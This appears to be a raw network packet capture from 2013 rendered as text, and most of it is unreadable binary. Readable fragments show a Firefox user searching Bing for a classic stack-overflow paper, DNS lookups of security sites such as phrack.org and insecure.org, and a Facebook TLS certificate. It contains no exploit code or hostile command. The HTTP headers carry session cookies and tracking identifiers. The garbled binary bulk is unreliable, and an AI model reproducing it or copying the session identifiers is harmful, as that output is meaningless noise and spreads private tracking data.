KS^?ͳox ^׾Df5RUH/:Ex1Vڱ?Rܱ_=dK:[t}z::LNϧ=TUz8 .G|s7-~y??㏝-]$Z̫p3(6 R̐Ol_Z 1ACZ)`y=O{~ktڤsI s,jy}gHI't둉Z hіsy*X 5: :C2UW^n!hN<1rY%+(5YkԾ#bf^wkC)0.cZvf2kUs+NiBBW{w4F2}8Q%"j$%[CpGY/BtE YNbV%nfa﷫:ݘnDĺϧ~L)G˳&ŒQFϲSOCPRB]~;BP>3OϠM,bez~dh7arn뎤ɹwd^9poS, ڝ$R`g NP ՚Xb27;Nl,ᖆjiXnȠDd,c T~dDFD*JrYb@4VOX#G!LM ӛωn%*u/Q1w׽ V~wMf䖛s$,A (ZĚAB]-E`u&p]6j M ~|TMryt? lL1̖k:#aw#̭մv|fI$7NfRR%&R$eO;ﱳ;,GbG Nȣ5xQ(V.=nw(Nw3"RًgX""0k]vTjP1, ؏;q顙~єChܴ6a3$f_u#X }!ZnI>C%nn':{RT5E`l@:2 P lJ!PM)RDK4_ -Ll;tebxlA `%<<RT5':{E(@ 2 P!lJPH FHEPF% ':{RT5Em@2 P l!PހUdj&sfl|̼ARً y4,^>}vrRiLBJ oUFd^:8;O3F־kD mN #sQ.LѲ؛%~wgs%dܝM[M*Ġ`"ɽ5 $֋--4 P`3^x vZ_jT-RK2#, 4bzxS{.!rD̠ МUJulHKgQI] E#$Kri.4BfH3Ƌeӗu1I^-IyVyo+eQ<:o2RSC5{ǽ>oXB3*jauynEEюZP55! ƳW@X~qqeކX$ִQIƢXhch `f&X$z(K(:ޏ3r ~c[zSv(~>Qg˫O P7XWCꈜ ]x" #')$Q8[`{2?yҘPDΏ$"#g/i&?Sfl՜l;>YnJ@ԀDHYHCn#򛭲'*D-!(ޣ }yBG8 ⹢^a1K"8 pBf LU9g΅$>X^Ҷ){&FJ|O_粀l_T:|ㄡg6Ȱ=G Aj8'#p9j `cG(g (r"|4Hi!֭PRODN1A)CSl 5Yr" w{uů(q@0VlKe8r?kޮd˯*Ǿ!YvUajF R^}CȠJ*'Qv޴q%#Ct4M![8(s:@%v':{RT5En@2 P r!P{ 9Jf,~YƱ/%RY*s=|[FC=3*f|9r]|pJy-ؽ[Stﳁ#ʥF29B;s]Jޘ:,i;l c~+x?ɟ94/\ "٫=~֯m?* .H.@I 0F^-\"b9o\EwK`kNNR c%43 j mpHĊ@{Ζta"3b ЃaeGW})ǴTGt q, cs;okڻXϥWt5Kyַ:y$Y:75#W'+4Iȧ}+ K?*Œi6Cb}gŊ[.૪%} %Pd A;A;L*Z6U^>K/^q[{~5 и04ğuyӕ1CrbuнV< +o__>zNa%c"DD@T. Am}Y ]SmZb7>֌Rp5ͶTBp5 %0N[6b;V0DπtgOߟjρ +aVsk%3S8 ɹjӾ[3+F m?%d<uhB!NԄԿGf`\#OCCQDvp@BW.%pD5a$M>JՍ%Mon^΁ۘsw[M@U #0AXX qwERnUY*Pø|IOSg+ m GV.!4ƯǴ-&l*C3h]j^ 4fI9Hړ9*K274U2t؛ P c\xaw\\ ujPzrrFAAj1ꡋ0<4fDn͖W2mٸ@o`cZȪV6>+&Bp='A&89$봺DBp0Vkt O-}ըuSRJRD+-zt[Ob4vkMs5:sb!T/3oNBDsQVF$ ֨aX}خig\9?HΕvlYz텾|lb_Rb5Jfcذvt]^7yl7agWD. ܭj&8~PIHu{z Rh@??^=P`F2DSDuOeKH^d+O\53J^GK.ڑZ%':{RT5Eo@2 P w!PB}voKHFj{o#o{v ҹi!^}o V J?ԑ7 W(DNi`*my+cVrez+ZL+[U{Imsw|I8# fc|zqk僣|<6U'x$~{1{$( SR]ng[:QǨn!=  (!I6pb]׶#Z+$pS,vW/w}@&pp {򗇰zsyuYVb8Bކv ILF^!Al|T1+Ď)}2hߜH't^vcOT-/C㝶\ns38[ &^b>mV] W P1λ^2}l"DA*k2ڢ%9"S.t)~Xf_Lvoqdsc^;xG-C: SNwq70z3B I!$W]+E-e[&3k:ىum/&|SJbgۡ)N9 :xfm-zMޘ8n%^6r&T;M6rvV_GnGb[_|//^dKþ;^O8FU]^ewG?äyu7 p"2R,]plZf0Δ< PNx*bt`˹BPmMٟe~ Ih[(d0GVgCCfa͐ $czt Ͳx7\P`3@E{yCZ]xdsRoT\$QO48 -ٸ:سf |Ri=N5 Z@DZKqųcm3ĝx$;qy~-Nn5ebWySW[8'`/6\ƾ/u^%T>=S16B̈́&ۊc|KfY[O6gU{*{Sx˒n}ŊQG;$HJA$$xDLxl?m _jf UO-&&! WC))d=IFghPJ$'_X{޿#)M\+ yJU&c2M6W(RmHA6c/h7޳v̧A}'aIN޷W?ݐ|>5 ;s%<Ƙ@I6V/ÛPY9L2()F$},Bs#vɖ+%':{RT5E|p@2 P }&!PX+SUVv]%np(}-;]!Fm{GPeg%LjQJ-W"m|Ɔ׏7s_z)3%8':{RT5Eq@2 P }z!P4֯^%(ZJ28(D) Zh?sy{]H8EI'Z?'=B+AR5 UJzqR=yMiLrӤh9(E72=N>d 'q4mR{ ߰U|d7j~NKQ_9;U[C$`X-/gΑ;zC$0zN#7XΦH.F#Fqz8$K0M&Jg]9}qd9*:0w1G1(.~SHkT1c%5{}Gn|?`N*3/cLY4ȔF_IYcSMz4Gh4yn>'gzss*!kYfO1zu8aTȍ'&&F}em]+HRV5NYLѣh4o3nm̭ϧMK~ #|'j='6/gA5g@1X|pm-/'t=_%HmǡU f.aSHp>xn2{@s x7} #JyMՕĬS.Z]>WvO)L}-ޛȇYSM+NGϲ94EzXuDzݽރ&R 21j®ir Yb#[zcY]jv\zP!Xv{Vq|.~ J;i]&gȸN}E1ldwã@I#:l_hBLg}ŌCܞ܄/[׮5GR p9]~Da̸j[KSD@͓Ayi\rz:O݂_\D9JOɱ-ncE28d)WuE!u u9-Joϴڭِv}<˒n"e\.-ot-dS$*iA*qpG4i_BA`IP np.HR/hH#QYl`\F!d~Nov5= C?ô寬df7B !q 2C@Rj%N*WZxz;[*4U7#`~bsov#}n">!TloƤr$-3OOlHIW-2zZ+H҈N0C;y8oÚH1ͦ`>9}ǡ.mǐ41]8iȜSUN7rT Q=/Gy[=O/%kd;1v2s^98 2 A A0 ꀃ G֨zJA $^NgUv%RR':{RT5EDt@N2 P !PV%M~n曠)yI3a}@,f%<<RT5':{E(@ 2 P!}&Pk FHEPF%<<RT5':{E(@ 2 P!Pdownl%>>':{RT5E0u@a2 P ʿ!Pd>dt|;|Vmo+ԞJeՅ\g=!ɞW>HƭBF5=ڶ?ܓgN'=q[ԗe2WzSEɺAA:T;aL:76]$^V~'[HA6M0|] t ݐW)c.np=oJ#zXLmMQde*լៃóghZ7/SUQCm%<<RT5':{E(@ 2 P!PH%<<RT5':{E(@ 2 P!P EDEBF%$HHRT5':{E:!  5&nwwwbingcom%b':{RT5E|v@`  5hnЁwwwbingcom a134dsw3akamainet*2c*2X%Z>>RT5':{E0@ 2c P]/Wp%HHRT5':{E: !  )5&Japibingcom%>':{RT5Ew@`  5)vRCapibingcom a134lmakamainet* 2c* 2P* 2s&::':{RT5E,x@2c P ]/X`&)<<RT5':{E( @ 2c P]/XP W& >>RT5':{E0 @ 2c P[p &~::':{RT5E,y@2c P [`&p<<RT5':{E(@ 2c P[P'3R <<RT5':{E(@ԏ ?$PYPI 'R 66':{RT5E(z@T.?$ PYPS's 66':{RT5E({@T-?$ PYPR'A <<RT5':{E(@Ԏ ?$PYPI * RT5':{E{%@ 2c P]/XPܰGET /search?q=smashing+the+stack+for+fun+and+profit&form=MOZSBR&pc=MOZI HTTP/1.1 Host: www.bing.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Cookie: MUID=38374CC080996BD61C8548DB83996B1B; MUIDB=38374CC080996BD61C8548DB83996B1B; SRCHD=SM=1&MS=2736037&D=2736037&AF=NOFORM; SRCHUID=V=2&GUID=9CF4CBDBA89A473F9A73016954C78C85; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20130315; SRCHHPGUSR=CW=1583&CH=640 *i 66':{RT5E(|@2c P ]/P*i ':{RT5E}@#2c P ]/P1HTTP/1.1 200 OK Cache-Control: no-cache, no-store, must-revalidate Pragma: no-cache Content-Type: text/html; charset=utf-8 Content-Encoding: gzip Expires: -1 P3P: CP="NON UNI COM NAV STA LOC CURa DEVa PSAa PSDa OUR IND" Date: Fri, 15 Mar 2013 01:00:11 GMT Transfer-Encoding: chunked Connection: keep-alive Vary: Accept-Encoding Connection: Transfer-Encoding Set-Cookie: _SS=SID=300CD838EDF147299AA4DE75DA922896&C=20.0; domain=.bing.com; path=/ Set-Cookie: DUP=Q=ESSuiwDDtYbmkC3L5Moy&T=164163611&IG=417a057ebc3c4bba90618060707d1ff1&V=1&A=2; domain=.bing.com; path=/ Set-Cookie: SRCHS=PC=MOZI; domain=.bing.com; path=/ 00001437  |v8} DEq/&ݞسw^Dv(!Ask'*$AILߝsn#@P(T @__˿|q~o~;O_>kajי! ؍?0q?4lտ@\VSj>7y{ƺ[;[T @̽܈;jxɺ}lk\KbFc>>"i^f9eN]Cd=]cJuuea4|8~w\_9wv}v/y8vbzs~뾀3xյN]b/ߘ ,J'_?K7)wtnssnOF9G[YǮ9> o wjNsbǾ\Z:yxgcjN&CÓщ.bl'`8q:_z{e z˿:Nz?NV_/Q[0v+ӇS};4^|t._|yE˸ϩy>[ҧng.~k;bcv23ρNo8tZG]w(+XcYAgYl(\17r,lN (HDsXQ>؁>m}=N;lħT(sd-,86诿,~(8_| :As^3*n RR':{RT5ED~@2c P ]/PAg5M e;IFADp2:n| s{W,nݰ[?]lq6fCDQg@(h a$ 6MΘ;YimHZlemxpE% /dvy5h qBfiz]3[dnry 4 ŗW9ҏ\'y0=|Ɵs Xۥ~KBgXE9"Q7 oG}m?7Z=U_z@ ضtSPERfȍ5ZPnLgno+݆lg-@5'#u03fS ;/iz~k^udInuqy.9% rߝl4zGXB}ڊ ֓R:[Ph#qJrD& jfQu\Y$# , I0"p"IDD!ׄoIbD%Q9DYv 0g=N'1A R96S0H 3;l/<ږi"ݛuC8} QD0EIf4ME:FYD;B%W"[ʄJ[50fnϧ^q;ux_# %p f "p"xő%~OUiB d:|%Q_qP?U34 Ԍɀ60QON )X8{}67=|,KF1%dUe$ 't-Ɩ{v4ܜr ^RBн$:U 񶄔$M9ሪ.GF4ce?5܍œ07l_>_k7yb$l# Um.VI9f`pjG#K^͍Tʮ5NfW %L>aj=^Md]st͋ZJԷxwIeUikQiK3쒥X@n0q;Q ϸYW1@qcxy!0ث`hu%KR~&]\1b1ƠtAA!;7[޷U/ۺ-rz? A\xyæMsMa^YMAS厞ه >-GE]b1 v>-yf L3 >@UGCKTKs-5DmvekT @U(@BXڄ +EU^ :cf&$$ }JI$Xª:BƮ$kږVse>VajeZ p*#hKAKE{X^Pٺd* RR':{RT5ED@2c P 6]/P|TEHLr`ն./GV aVٲ* <<RT5':{E('@ 2c P]/RP*# ':{RT5E@2c P R]/P?4¬ 䃗/>/Xite"MD'O0wUB$at7`bp. tJUʭR>O咘etlSArR,Բa2&D>2f ӈUV+,$4ِ[&Lkh$VJӰ5hB ;"}l,)G|T{|,jD^ Xb R`^hqCl *MHwTҴUFuQUi'YQ6卵H4`lO9<ߖfgUC*Ev%Gv$B>3E~]dQgc#Wu!єK'2-r kO/6VFppZoz[Ru\ք<0 @0XzwQn,\U=I*}EP- vF#mSڥ0qC*,@>/0Mu\]}MXJV\|M7N5ī0)n5XscLC*h|32sֻo!)HH'w!wd2''&Cw;}aIYh/|ei-X0 S[{ˍ;a!J $fn6F'%n-JY;U=-$lJ{ve dsJo+Y\F։S`>NAil`t֕0~cN)5h;e"j^aʒMc-Zqe>%(?>ȃ TbSHԌͮBݺ{tˆخhV۵ؙ46D"6E'cJX#7Ϲ9M/( ƛLn=ݩmjܨR-nQ$7 ~rK0SPO2+NTs29R:'*!{s%zNL-ryQ'[\F, 3t|v_- 2u Xs6y%iz]vlF=?Gf!{t*GQMώW7d;=0no* RR':{RT5ED@2c P ]/P#pVMd4r0G* <<RT5':{E((@ 2c P]/PH*G ':{RT5E@2c P ]/Pb"rsk XGNg!2لq*p@߯*v#"A 9HBBg hKatqYBv, ͟b(GaIrS7#9z ^PAzywHFސaVB:y ._5'.ͼI]4zA? (΁5pr&BrIw:{?sIÒxE!pڲF& WpLNgeV><~N\EpNFb$#snngfQj1#fkVƎ;k&s[b`ˋՂvghNxz:Dn)e%[D]V2%Ƀ\8v2:J<~% e2#I΋%/egdѕ[v RUpA:it (2dspc>ƌivm 0c"ջ{;idJmOH@F`_w >[Sf hC .;EFx)0 0v #dP Qq>Sq%&`}A +PMTz$rB@.( ڴDם̃LNðl]TK4tQ!!9F?Ib|ٙ>nv3S;uP,ޘ ٓy<R1T ƾ{j* ':{RT5E@2c P ]/P&k Ȧ)ˈvr]Xq%oS/W`U#-Q e9;Qu 00000B94 è4]`;% yڋ<52zO*r#^Pi$8E(1b;6"T^!t].:H)1}̯Togi RjcX۠)#җJ<,@`61JvX%.4c-YBK~=lvJ`ꡱP '8 mկ_>EkXJ 2k ;f(SbímXDya17g+X[̓;k7@4P , cАhnki,C/AFh+#]'!0>2'Ngߝ.w whbU/q+O=|mhcv]D::OW ^]DC(OJ^zڇw6=;Lkr<9;0Xws˚Ÿz0f4`G(8>{tge\3nT*}}Ѭi|a2'SsbZlO`N㙢z#", ݴX%[_~q>{1zP.J2w\ 5ixHx\+Aًp }Ȩ~7Q4?0QC E~xgPxנp) kP},42~V|XJi8:iIiU}5 xG,W սhGHQGib7{dX"*, GxHg@վA<-$A0PePWk% ܷgq5H+U6]m3*JN)[ Wqԭ8(DT&cY7x3[. Yӂ$xn"RyKKڸZ.>p쑫D}Ɋ&K*& aby]_pύNKW/«r﯆~i^ `5xo/7` U/'.ƧR dj2%Ќ77k ac0,gX4GP> 1}pPJySGIV<.?&.<|)/ͽw0mt͔[2* ':{RT5E@2c P ]/PLy0n6)ݶ(۱%̄%A2>2f+7М0 ٣ 7d2d "P"(BfV]SedT \˻O0ĿæJZp()r0*#SU,6}ּk"c;!@}7а5"0b$ٸzPWTr]ץٻVQ}yػQRRj ~\a@dU7<wyJy1q9w2%CaZnׂzDêYWHue )j0!Zʰ[A,UMUw%P @.<*FQa+.͘.xʏw((p\F]b=F7e߇u/+%`2hub(g.p'acsGJhUI*}<_7ͩ2 B#լRJC&KX'ݠLsrV_7G"ְ 򖆻0kBHB)/:ׂޥ GY8QX=䀜pF@ұhWehc~ӱYxE9p,o3,4XE0(q 58BJ$z{Ԍs h|q^>j%aBJy̔[dw3],Wf}FQXCzgwCGD %.X#$S&g%ϥ 2v鐑rݸ3&;bE4=a~™_1L+k '4%ih&9*"YMm=ʍRfp˗ gRPy0gжA3IjkFeش_vճ] ![ovijB1<\B{KZ/^Ӌyܸ:k2Ef2X5}yӾ#S] +Gg 9_|q6?.NdnZKh5gWV=cAˌDئm/:»ҚS`nc܋f Tl4Z:&azw:=*dd*LB◡Y9`Ryz2I;9q)?=eNFnPvWS==ASEA^IRuڙ,pCɫ#mغOlAio0v9[0&:/_%oZ-PU|yx+m'Fr[6,ʼ5-^ޑqgH+tqW~r8/.MI~ܦIcKgKY.c#ʠ{y:cFRN*  ':{RT5E@2c P ]/Pbܶg 0 Y?OKHxv CB ιi^+8[A:HF"w|v$5Ɠ4>W9DŽq_OO.<&+ZEZnSP$AmZ@^.\LWL=wB~3ݠݶ1<2bW}zeF{ * <<RT5':{E()@ 2c P]/P* <<RT5':{E(*@ 2c P]/Pd* >>RT5':{E01@ 2c Ppd>*(::':{RT5E,@2c P `*6+<<RT5':{E(2@ 2c PP+0K<<RT5':{E(5@ 2c P]/`P+':{RT5E@2c P `]/P000005A2 ]Vƒe㏵%cGp@ a_ e +I#8g>Oud $dLﮮ2:|);u Hᒜ\CFfCFjQ~9֥6]*d,*spD/rN$Fq? c$.BK_Ҹ ʪY܍6?.FQkYl,AsS~:vM 5qbo˽sv+ȣQAk% F|$]rШJA Vij wc,)Hu85􎖤/L/>>~`÷}oV [@LY\FAQBAV0_DA_OΎТLm( ī1&v7Z?>nL*ڰ[dR j>V"Ҝfh#kmU,fǴ})-\gW*W>{͇~V뷒oj^Ciٍ[Z cֻ+BRR':{RT5ED@2c P  ]/Piϛ搸ZE˘(Zs0hY4,F+<<':{RT5E.@2c P  ]/Pގk +o':{RT5E@2c P  ]/PL00001BFE H]U@bf۠ad@6D'Ldաt 9'po[BŽ ;,XbsEUa‰ 9Yq[qb*];]F&^^h)jд9EUGY{ *e, ĦVXNEgb)T [(o7‰ )W THy&1HKVWȍs H]nX-?VX*bfr3+>18jDk nЇKsmDX&y #N|72smҋ |o5{'f'x"$Z> υwnaҞIVGP ŽӚ&EPw7kŸfciF$/?}`.Of4/\ip&- Ak#?4$b[.L"*sU1f뎀7^n, E6CY8 F{4p[@\=Jg,;]3 /M$luZƆ{wB>,ϬBﲎi} }n@Of;YbDIDW7:Y7Lr)얭kitt"Xc&w` 9E(١Cvjq Ok[h~(> @odԴ,7KX)PbYYmхޥu]ukC* xx0>GOϯDGM=e[{fYD%# de0~j$O&M$?PonhSf"psTu4"_8AAlǁҕֶԷw%́LkkJ¨nlTilmQ#[]䏮viQ1M`t4%4xX 1C g>9'{O{;wZޗOVs Mϙ_(N7{;4qE[y '&ǐ.clv[gޟ= +/ M? W焲0 6>3OPQOm3IGE`O,l?j,-G +ZD!xnnm*F>]DL˳O_3@Z%]PVx \]njk[W'nt" =L)!­1s&3eCb17 ]2Y s"8,7rՄ|uQbB.ĺ{3B(I^Xcou{BMf!JYףUf4hq7i`y}ypDa4i05hk7LJ[˯KoJg>ǻy暐|fQw񲪽| 1arl:)V^^]p#9W]ـNp$x=sMb.υGnMcĖRYF3_"GVWH{*|ħKg̈́w8rXP%bH6kf1H1o8ޖLB"⛂o5/ۈ'HkL<]ض}QnXJ(o/=P\ L!M(nX|q0ek`Ɔ(ĝM>lǰ6m۶ _mcw1ԃ-k9M-Gޘ  Em oC,|FbQK! Z)O}~fp^ßIFě i_,I]*B5ho -u %6ܼ՝!4 JFA֋0M;0[Y_ޘO4BlMLݽO{-^2<:6ޚqPk7d7/ՅvSHbPm(_b(3 $1p0;Q G6 (ylb[5َ,騭5{nk8Tzn{Vgh#;"Kty][gw"Z.|k|۰vnn5n)qH( ߛHGz8& a$ftr||tu]ƣ.~YKvR +BY}=M܇EӍms5^W[H?9'#7v;v_^'X6+)ؐݚ69RANte7M뭗jHa? oK,#xCrBhH;Fʹ/bYVrWc*7X+*<<RT5':{E(6@ 2c P]/ PH+':{RT5E@2c P &]/P32GhT|W}>zǂ>9B@q#g +fggs&c2=ߡ<ÏEe.MnUiQ ULɩfn:b|.=iJdsDr%,5\%;Gi@@3}۱.*Y0fxfbU*i|s~aےR̡Lo%U}BWxj0gHǂW`S'903he. Z{@Zj?Cz{#7~(Śs |VU |'~1q A]2-[fz+31Y:vĎ`%y 4w/ͳRL-u|Vt㼁wa;~&'VxO߀UWIk9 a}QcJ%CR(t&(J$hE\6z0_ϰY9z ;P;vsg&ߖ%{/T-KR˒q/OcrggF W,q;xq*u@էPt&E r8q/DtA ,|FiY^mbitwAҢJ *lCخ;rї(@Lͫ>K L/[mo (7g~Z P^:[ںVlԂf8aKrv;O`X(J>J|xR>귒G:'mMMz.!{l@ B8 ́ )q*čZ!u8!hJX23> qUi)ʜL/d.0I(XT>AD %#X+ X/C-q% J`00CW(ބڣJ1( OEyNd \b7޴NC:0``;@5jQ8h9~F%$JwSMxu>hyFWﲪg=֖_=濯 L'4?'cd}#Э9}W0BDmHAYV:Q[A>:m4zmk?S. 4Z-16_ bE-sh,T8+':{RT5E@2c P ]/PQ0d=J)CAS:6;ͦۀ(֑>jo':0 @@{0|ݷTXΩN*w|Yoxa5scw LlLm~7sr aVlo0y 8|DoD?[kZ*џ%A|,Xe |;x鸐g.zY~C>so41d<7H6qG70C}ښJ) p {j$or~OU]wL2D9YaL&a([ޅg53ȕhtՆmC<5$/i|e+ ]E|~Ģ%o*FO{oUd4oxHV*y==cii:+Ȏ|U9Ox}ѝ𢞘fUv,t3#W҆iγ wP8BUJwK}AI$2@f*~H$z[a'd}Yld]iM+LX҉+RA]*P3/Ƃe7ܖ7G$7b?V|:6"8+{6oEM3rk*J}dNlZ1 LF*!͹r}.3 -@3e.̭ґt쬪q\ a8T&wXɨ9S . ͘t %HDZ$A+1$Aa SiIXF}E@ݱg_dt= JUЧJ#BG{tHx%6`2.2Z TV`}g)LxV%phe[E?ײ ̛HZ5NNrOٷ+耴N2 %I۽E+I;ҠZl4|!i-͒PSlCWLmt F{ݸhH@Lؒ~)з.H\ HP!01 (Q(@ [>h:o V3$:325i&3 @s(e&,SC+<<RT5':{E(7@ 2c P]/Pk+RR':{RT5ED@2c P  ]/P@1di2U@dRP$+N<<RT5':{E(8@ 2c P]/PS+<<RT5':{E(9@ 2c P]/ Ps+':{RT5E@2c P  ]/P GypLOU舤;W$=d^c9G4/,>!cJmK2GGuBFQh¼ d`BN0"P`߄dij_.s M@f1]¥崒PbNwUW1`c6i -  A3N( M- s 1ܛ"~44}qh#+s'/LP%]/UjX1\T\Yjde1 ϠH[E*$Cd\^ȸ L#4VVGRV*1%Jw5!궇QlM#(ťs\RKDֲ=ljx-K^T֓)WGqU3 ëCn ^]~a|C T'f@u@3IYRthi=+,v1Ɉ+HvzM>S}. xɽT~X}`k\C>#(m& D#kTIoD=`wq~@~~jK"RP4O'8[By\щA)D]3ži>?0E'x|}~5G2qO+4}rt1N,x'rgv`N?ie)i Wvd%Auw|6aUg T|FA>.x6l1 _xY@"U:uv``ɱ)tr%(]E}󱀨FBXz(Tr Z3Rxڡ/Vv'kT8ENdܒ|':p`ONIe_?8xwFAa`4fv# N1KP8@˖Erf e#n)_;j$Y݀K/2e f-CZqt.N!4 JnJ\>$Xge"x#7fcx+Wf8uv7&y^΂uK-qQe2MN %[ +#"./ٳ,9zAǺA<iTGzH-a&3PsMB?Ce$*Ӑ-R ſ`*eZNdy)({0l Ud4ҢA|mE-hNPee:HZQ%F 9MsA*6x4w 0000000A X 00000000 +<<RT5':{E(:@ 2c P]/&:PHs+ISSRT5':{EE=![  51'Xwwwfirefoxwithbingcom+FYHHRT5':{E:>!e  5&rinsecureorg+1w22RT5':{E$C@ 2c P]/&:PHzGET /fd/ls/l?IG=417a057ebc3c4bba90618060707d1ff1&Type=Event.CPT&DATA={%22pp%22:{%22S%22:%22L%22,%22FC%22:8,%22BC%22:320,%22H%22:347,%22BP%22:400,%22CT%22:410,%22IL%22:1},%22w3%22:{%22PL%22:500,%22C%22:437,%22U%22:-1,%22D%22:0,%22TL%22:0,%22T%22:0,%22RC%22:0}}&P=SERP&DA=BN1&MN=SERP HTTP/1.1 Host: www.bing.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://www.bing.com/search?q=smashing+the+stack+for+fun+and+profit&form=MOZSBR&pc=MOZI Cookie: MUID=38374CC080996BD61C8548DB83996B1B; MUIDB=38374CC080996BD61C8548DB83996B1B; SRCHD=SM=1&MS=2736037&D=2736037&AF=NOFORM; SRCHUID=V=2&GUID=9CF4CBDBA89A473F9A73016954C78C85; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20130315; SRCHHPGUSR=CW=1583&CH=640; _SS=SID=300CD838EDF147299AA4DE75DA922896&C=20.0; DUP=Q=ESSuiwDDtYbmkC3L5Moy&T=164163611&IG=417a057ebc3c4bba90618060707d1ff1&V=1&A=2; SRCHS=PC=MOZI +w66':{RT5E(@2c P &:]/P+~':{RT5E@`  5shx'Xwwwfirefoxwithbingcom  w&discoverbing01-sitecorecloudappnet5F%I[+XX':{RT5EJ@`  56rinsecureorg M>J+WWRT5':{EID!P  55qxwwwmicrosofttranslatorcom+VVRT5':{EHE!P  54Pcnnetseccs northwesternedu+':{RT5E@`  5%qxwwwmicrosofttranslatorcom 2uxmicrosofttranslatorsearchprodmsakadnsnet9B+QQRT5':{ECF!T  ȕ5/ www ethicalhackernet+aa':{RT5ES@`  5ȕ? www ethicalhackernet M>J.B+I9SSRT5':{EEG!Q  Q51  wwwcs northwesternedu+>JJRT5':{E<H!Y  5(dYwwwphrackorg+ncff':{RT5EX@`  5D_nnetseccs northwesternedu Q|+i00':{RT5E"@2c P &:]/PHTTP/1.1 200 OK Cache-Control: no-cache Pragma: no-cache Content-Type: image/gif Expires: Sun, 12 Oct 2003 00:00:00 GMT Content-Length: 42 Date: Fri, 15 Mar 2013 01:00:12 GMT Connection: keep-alive GIF89a!,L;+lZZ':{RT5EL@`  58dYwwwphrackorg OGxg+2mvv':{RT5Eh@`  5QT#t wwwcs northwesternedu OGweb15OG|+DDRT5':{E6K!\  Ͻ5"erikweu+UURT5':{EGL!J  D53Ϻwww securecodingcertorg+LLRT5':{E>M!R  5*}0Fgo microsoftcom+TT':{RT5EF@`  5Ͻ2erikweu  lmHUe+b':{RT5Ew@`  5c{0Fgo microsoftcom wwwgo microsoftakadnsnet.v@ +3 ~~':{RT5Ep@`  5D\Ϻwww securecodingcertorg  meissared7X+m[[RT5':{EMT!<  59N t advertisebingads microsoftcom+':{RT5E@`  5zAĉt advertisebingads microsoftcom _% advertising microsoftcomnsatcnet=(A4d.+TTRT5':{EFW!@  U52& onlinehelp microsoftcom+':{RT5E@`  5U|i& onlinehelp microsoftcom 2g onlinehelpmsakadnsnet6Tlb18^T8 <+EERT5':{E7Z!L  !5# Ygmsncom+BUURT5':{EG[!;  53{feedback discoverbingcom+vv':{RT5Eh@`  5!T Ygmsncom gmsncomnsatcnet'A7 +':{RT5E@`  5qqЁfeedback discoverbingcom l"supportmsn microsoftakadnsnet788E+*C<<RT5':{E(d@ 2c P[P+C66':{RT5E(@2c P [Pۧ+>H>>RT5':{E0f@ 2c Pap +66':{RT5E(@2c P [Pۦ+ӣ<<RT5':{E(h@ 2c P[P+<<RT5':{E(i@ 2c P]/'4P+ȱ::':{RT5E,@2c P b`;+R<<RT5':{E(j@ 2c PbPX+^RT5':{Ek@ 2c PbPvcGET /qsonhs.aspx?FORM=ASAPIW&q= HTTP/1.1 Host: api.bing.com User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:16.0) Gecko/20100101 Firefox/16.0 Accept: image/png,image/*;q=0.8,*/*;q=0.5 Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Referer: http://www.bing.com/search?q=smashing+the+stack+for+fun+and+profit&form=MOZSBR&pc=MOZI Cookie: MUID=38374CC080996BD61C8548DB83996B1B; SRCHD=SM=1&MS=2736037&D=2736037&AF=NOFORM; SRCHUSR=AUTOREDIR=0&GEOVAR=&DOB=20130315; SRCHHPGUSR=CW=1583&CH=620; _SS=SID=300CD838EDF147299AA4DE75DA922896&C=21; DUP=Q=ESSuiwDDtYbmkC3L5Moy&T=164163611&IG=417a057ebc3c4bba90618060707d1ff1&V=1&A=2; SRCHS=PC=MOZI +"66':{RT5E(@2c P PP+  ':{RT5E@2c P P+^HTTP/1.1 200 OK Content-Type: application/json; charset=utf-8 X-Content-Type-Options: nosniff Content-Length: 35 Date: Fri, 15 Mar 2013 01:00:12 GMT Connection: keep-alive {"AS":{"Query":"","FullResults":0}}+# LLRT5':{E>!  5*wwwfacebookcom+ HHRT5':{E:!  5&}sslbingcom+5 tt':{RT5Ef@`  5RGwwwfacebookcom  c starc10r.% E+&D >>RT5':{E0@  E^p!6+J ':{RT5E@`  5}Bsslbingcom sslbingcomedgekeynet*6e1174c akamaiedge?P9+.g >>RT5':{E0@ 9_J(po+j ::':{RT5E,@h E ^` +l <<RT5':{E(@  E^P+7 RT5':{E@  E^P>QBrP2ٯSsޱY }5U! H 985 ED32 A/  3www.facebook.com  #3t+l 66':{RT5E(@k E _xP+ ::':{RT5E,@P9 _J)`+. <<RT5':{E(@ 9_J)PNfaceb+i RT5':{E@d 9_J)PSQBrj%{#RYg_򫟣zrH 985 ED32 A/  / ssl.bing.com  #3t+ 66':{RT5E(@P9 _JP+ ':{RT5E@ E _xPMIQBrS\%$ JaLa8^!#3tspdy/2http/1.1` \Y001w޳#]Dۦ.r0  *H 010U VeriSign Trust Network10U VeriSign, Inc.1301U *VeriSign International Server CA - Class 31I0GU @www.verisign.com/CPS Incorp.by Ref. LIABILITY LTD.(c)97 VeriSign0 120621000000Z 131231235959Z0h1 0 UUS10U California10U Palo Alto10U Facebook, Inc.10U*.facebook.com00  *H 0qi>c$h<9Kԍ{#hbVPd4vjrZudr?9Rټ]:=M)K;Ѩ ϮGL~$JL?C *U~*00 U00DU =0;09 `HE0*0(+https://www.verisign.com/rpa0<U50301/-+http://SVRIntl-crl.verisign.com/SVRIntl.crl0U%0++0 U04+(0&0$+0http://ocsp.verisign.com0'U 0*.facebook.com facebook.com0  *H [l+u0QjY^UQA;Dyvx'akX*%C{I`gh=}0j$|M>TƼQ322sל~m4R3@0T'B|f~;qp00F뺴/`#?0  *H 0_1 0 UUS10U VeriSign, Inc.1705U .Class 3 Public Primary Certification Authority0 970417000000Z 161024235959Z010U VeriSign Trust Network10U VeriSign, Inc.1301U *VeriSign International Server CA - Class 31I0GU @www.verisign.com/CPS Incorp.by Ref. LIABILITY LT+ RR':{RT5ED@K E _xPpD.(c)97 VeriSign00  *H+ NN':{RT5E@@N E _xPR 0؂}9%e+Ӽ6;Ll[( 